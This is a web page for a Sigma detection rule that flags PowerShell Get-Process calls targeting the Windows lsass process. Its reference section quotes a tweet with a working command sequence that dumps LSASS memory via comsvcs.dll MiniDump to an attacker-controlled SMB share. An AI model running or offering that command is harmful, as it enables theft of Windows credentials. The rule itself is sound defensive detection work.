PowerShell Get-Process LSASS

calendar Aug 12, 2024 · attack.credential-access attack.t1552.004  ·
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Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity

Sigma rule (View on GitHub)

 1title: PowerShell Get-Process LSASS
 2id: b2815d0d-7481-4bf0-9b6c-a4c48a94b349
 3status: test
 4description: Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity
 5references:
 6    - https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
 7author: Florian Roth (Nextron Systems)
 8date: 2021-04-23
 9modified: 2023-01-05
10tags:
11    - attack.credential-access
12    - attack.t1552.004
13logsource:
14    category: process_creation
15    product: windows
16detection:
17    selection:
18        CommandLine|contains:
19            # You can add more permutation as you see fit
20            - 'Get-Process lsas'
21            - 'ps lsas'
22            - 'gps lsas'
23    condition: selection
24falsepositives:
25    - Unknown
26level: high

References

  • Responder on Twitter

    “Remote LSASS dump without touching local disk? Yes :) On target run: 1) net use x: \\smbserver_under_your_control\c$\ 2) powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin full”


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